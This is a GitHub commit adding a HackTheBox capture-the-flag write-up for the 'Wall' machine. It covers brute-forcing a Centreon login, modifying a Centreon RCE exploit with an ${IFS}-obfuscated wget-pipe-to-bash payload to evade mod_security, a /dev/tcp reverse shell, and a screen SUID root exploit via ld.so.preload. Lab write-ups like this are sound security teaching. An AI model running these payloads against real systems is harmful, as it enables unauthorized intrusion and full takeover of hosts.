Skip to content

Commit 1e014db

Browse files
mzfrmzfr
authored andcommitted
Writeup for Wall
1 parent 2c9d8cb commit 1e014db

File tree

15 files changed

+181
-0
lines changed

15 files changed

+181
-0
lines changed

README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -20,6 +20,7 @@ Following is the list of all the boxes that I was able to root.
2020
* [safe](https://mzfr.github.io/HackTheBox-writeups/safe/)
2121
* [Jarvis](https://mzfr.github.io/HackTheBox-writeups/Jarvis/)
2222
* [Networked](https://mzfr.github.io/HackTheBox-writeups/Networked/)
23+
* [Wall](https://mzfr.github.io/HackTheBox-writeups/wall/)
2324

2425
***
2526

wall/Readme.md

Lines changed: 180 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,180 @@
1+
# Wall
2+
3+
<h1 align="center">
4+
<br>
5+
<a href="https://www.hackthebox.eu/home/machines/profile/208"><img src="images/img.png" alt="wall"></a>
6+
<br>
7+
</h1>
8+
<h4 align="center"> Author: <a heref="https://www.hackthebox.eu/home/users/profile/91108" > thek</a></h4>
9+
10+
***
11+
12+
__Machine IP__: 10.10.10.157
13+
14+
__DATE__ : 20/09/2019
15+
16+
***
17+
18+
## Nmap
19+
20+
![](images/nmap.png)
21+
22+
There are only 2 port open, the 3rd one in the scan is filtered. We start our enumeration from HTTP service.
23+
24+
***
25+
26+
## HTTP
27+
28+
If we visit the IP in the browser we'll get `Apache2 Ubuntu Default Page`. So I started gobuster scan on it.
29+
30+
```bash
31+
➜ gobuster -e -w CTFs/lists/big.txt -u http://10.10.10.157/
32+
```
33+
34+
We can see that there is `/monitoring` When we try to visit the URL it prompts for username and password. Since we don't have any hint about credentials we'll try to dictionary attack the login.
35+
36+
We can use hydra or burp suite for cracking the password. I used burp suite, I loaded the default password list and used `admin` as username. After few minute you'll find out that the password is `password1`.
37+
38+
Using `admin:password1` we are able to login but the moment we login we are redirected to `/centreon`
39+
40+
![](images/centreon.png)
41+
42+
Since this look like some kind of monitoring tool I used `searchsploit` to search for centreon exploit and found one.
43+
44+
![](images/exploits.png)
45+
46+
I downloaded the exploit and ran it like
47+
48+
```bash
49+
➜ python centreon.py http://10.10.10.157/centreon/ admin password1 10.10.14.225 4444
50+
```
51+
52+
But this didn't trigger the shell because there are some changes required within the exploit. There is a line in the exploit
53+
54+
```json
55+
"nagios_bin": "ncat -e /bin/bash {0} {1} #".format(ip, port),
56+
```
57+
58+
In the end it's using `#` the problem is server is running `mod_security-filter` triggers on `#`, so we have to find an alternative character for that or use someother way to get a shell.
59+
60+
[@4ndr34z](https://twitter.com/4nqr34z) said that we can run a python server hosting a shell file and then wget that file using our RCE exploit.
61+
62+
First let us edit the RCE exploit. Edit the RCE exploit in the following ways:
63+
64+
* Remove line 22 - 25 i.e
65+
66+
```python
67+
if len(sys.argv) != 6:
68+
print(len(sys.argv))
69+
print("[~] Usage : ./centreon-exploit.py url username password ip port")
70+
exit()
71+
```
72+
* Remove line 30 and 31 i.e
73+
74+
```python
75+
ip = sys.argv[4]
76+
port = sys.argv[5]
77+
```
78+
79+
* Replace line 27-29 with:
80+
81+
```python
82+
url = "http://10.10.10.157/centreon/"
83+
username = "admin"
84+
password = "password1"
85+
```
86+
87+
* Finally replace line 70 with
88+
89+
```json
90+
"nagios_bin": "wget${IFS}-qO-${IFS}http://<LocalIP>/shell${IFS}|${IFS}bash;"
91+
```
92+
93+
Once you are done editing the exploit. Do the following things:
94+
95+
* Make a shell script that will be executed on the machine
96+
- `echo "bash -I >& /dev/tcp/LocalIP/LOCALPORT 0>&1" > shell`
97+
- `chmod +x shell`
98+
* Start a python server on port 80
99+
- `python3 -m http.server`
100+
- It's important to start the server on port 80 or else it __might__ not work
101+
* Run the exploit
102+
- `python centreon.py`
103+
104+
If everything works out fine then you should have the shell.
105+
106+
![](images/rev.png)
107+
108+
***
109+
110+
## Privilege escalation
111+
112+
I ran my enumeration script on the system and found out that there were 3 other users and there was a root SUID.
113+
114+
![](images/users.png)
115+
116+
![](images/suid.png)
117+
118+
I used `searchsploit` to find the exploit for this SUID.
119+
120+
![](images/searchsploit.png)
121+
122+
I have used this exploit in some other vulnhub machines and I know that this script causes some issue when we try to execute it at once. So I manually separated the code into 2 different files.
123+
124+
* `libhax.c`
125+
126+
![](images/libhax.png)
127+
128+
compile using:
129+
130+
```bash
131+
gcc -fPIC -shared -ldl -o libhax.so libhax.c
132+
```
133+
134+
* `rootshell.c`
135+
136+
![](images/rootshell.png)
137+
138+
compile using:
139+
```bash
140+
gcc -o rootshell rootshell.c
141+
```
142+
143+
Then I transfered both, `libhax.so` and `rootshell` to the machine and execute the following command one after the other
144+
145+
```bash
146+
$ cd /etc
147+
$ umask 000
148+
$ screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
149+
$ screen -ls
150+
$ ./tmp/rootshell
151+
152+
```
153+
154+
This will give us the root shell.
155+
156+
![](images/root-shell.png)
157+
158+
__NOTE__: If you still have any doubt on how exploit is needed to be divided you can read my [vulnhub/DC5](https://mzfr.github.io/vulnhub-writeups/2019-07-09-DC5) writeup.
159+
160+
Then we can grab the root flag
161+
162+
![](images/root.png)
163+
164+
And since we didn't had the permission to read the `user` flag. Now we can get that too.
165+
166+
![](images/user.png)
167+
168+
***
169+
170+
This was a beginner level machine since the only issue one might have is in running the RCE exploit.
171+
172+
Thanks to [askar](https://twitter.com/mohammadaskar2) for making this machine.
173+
174+
Also thanks to [@4ndr34z](https://twitter.com/4nqr34z) and [@d4mianwayne](https://twitter.com/D4mianWayne) for great team work.
175+
176+
***
177+
178+
Thanks for reading, Feedback is always appreciated.
179+
180+
Follow me [@0xmzfr](https://twitter.com/0xmzfr) for more “Writeups”. And if you'd like to support me considering [donating](https://mzfr.github.io/donate/) 😄

wall/images/centreon.png

12.8 KB
Loading

wall/images/exploits.png

97.1 KB
Loading

wall/images/img.png

106 KB
Loading

wall/images/libhax.png

13.8 KB
Loading

wall/images/nmap.png

69 KB
Loading

wall/images/rev.png

19.7 KB
Loading

wall/images/root-shell.png

48.5 KB
Loading

wall/images/root.png

7.93 KB
Loading

0 commit comments

Comments
 (0)